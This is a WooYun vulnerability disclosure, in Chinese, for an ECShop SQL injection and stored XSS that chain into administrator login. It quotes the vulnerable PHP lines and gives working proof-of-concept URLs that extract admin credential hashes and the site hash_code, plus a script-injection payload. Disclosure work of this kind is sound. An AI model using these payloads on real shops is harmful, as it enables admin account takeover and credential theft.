WooYun.org

漏洞概要 关注数(58) 关注此漏洞

缺陷编号： WooYun-2013-23188

漏洞标题： ecshop最新版本SQL注入+存储XSS=任意管理员登录

相关厂商： ShopEx

漏洞作者： blue

提交时间： 2013-05-06 20:42

公开时间： 2013-08-04 20:42

漏洞类型： SQL注射漏洞

危害等级： 高

自评Rank： 20

漏洞状态： 厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 help@wooyun.org

Tags标签： sql注射漏洞利用技巧 存储XSS

8人收藏 收藏

分享漏洞：

漏洞详情

披露状态：

2013-05-06： 细节已通知厂商并且等待厂商处理中
2013-05-06： 厂商已经确认，细节仅向厂商公开
2013-05-09： 细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航、无声信息）
2013-06-30： 细节向核心白帽子及相关领域专家公开
2013-07-10： 细节向普通白帽子公开
2013-07-20： 细节向实习白帽子公开
2013-08-04： 细节向公众公开

简要描述：

一个功能点的SQL注入和存储XSS，内含多种技巧，我觉得我就是个艺术家～～

详细说明：

/affiche.php 119行


$sql = "INSERT INTO " . $ecs->table('adsense') . "(from_ad, referer, clicks) VALUES ('-1', '" . $site_name . "', '1')"; //$site_name即$_GET['from']存库了

/admin/adsense.php 47-49行


/* 获取当前广告所产生的订单总数 */


$sql2 = 'SELECT COUNT(order_id) FROM ' .$ecs->table('order_info'). " WHERE from_ad='$rows[ad_id]' AND referer='$rows[referer]'"; //看到了吧，未再次addslashes导致注入


$rows['order_num'] = $db->getOne($sql2);

/admin/privilege.php 136-141行


if (isset($_POST['remember']))


        {


            $time = gmtime() + 3600 * 24 * 365;


            setcookie('ECSCP[admin_id]',   $row['user_id'],                            $time);


            setcookie('ECSCP[admin_pass]', md5($row['password'] . $_CFG['hash_code']), $time);


        }

漏洞证明：

http://localhost/test/ecshop/affiche.php?from=**.**.**.**'%20and%201=2%20union%20select%20group_concat(user_id,'|',user_name,'|',password)%20from%20ecs_admin_user%20order%20by%201%20desc%23&ad_id=-1  //注入得管理员信息


http://localhost/test/ecshop/affiche.php?from=**.**.**.**'%20and%201=2%20union%20select%20%20value%20FROM%20`ecs_shop_config`%20WHERE%20code%20=%20'hash_code'%20order%20by%201%20desc%23&ad_id=-1 //注入得hash_code


http://localhost/test/ecshop/affiche.php?from=**.**.**.**%3Cscript%3Ealert(1)%3C/script%3E&ad_id=-1 //XSS，当然，我使用了xsser.me获取页面上的信息

修复方案：

版权声明：转载请注明来源 blue@乌云

漏洞回应

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价